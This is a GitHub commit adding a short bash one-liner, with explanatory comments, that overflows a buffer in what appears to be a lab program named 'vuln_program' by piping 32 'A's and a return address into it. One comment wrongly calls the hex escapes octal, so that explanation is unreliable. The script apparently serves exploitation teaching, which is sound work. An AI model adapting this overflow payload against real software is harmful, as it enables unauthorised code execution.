Create one_liner_exploit.sh

This commit is contained in:
Omar Santos 2023-01-24 20:41:49 -05:00 committed by GitHub
parent 9cb3cf6776
commit 710080eff5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -0,0 +1,15 @@
#!/bin/bash
# Simple one-liner script to exploit the vuln_program buffer overflow
# Author: Omar Santos @santosomar
# Explanation:
# echo -en is used to enable interpretation of backslash escapes and turns off
# the default behavior of the echo command which is to add a newline at the end of the output.
# $(for i in {1..32}; do echo -n "A"; done) is a bash command that will iterate 32 times and print 'A' each time without a newline.
# $'\x9d\x84\x04\x08' is an octal escape representation that will produce the 4 bytes of hex representation, in this case '\x9d\x84\x04\x08'
# This command will output a string of 32 'A's followed by that 4 bytes value.
# Note that the echo command in Bash behaves differently across different shells (like bash, zsh, etc)
# and different platforms (like Linux, MacOS, Windows) so the command could produce different results
# depending on the environment where you run it.
echo -en $(for i in {1..32}; do echo -n "A"; done)$'\x9d\x84\x04\x08' | ./vuln_program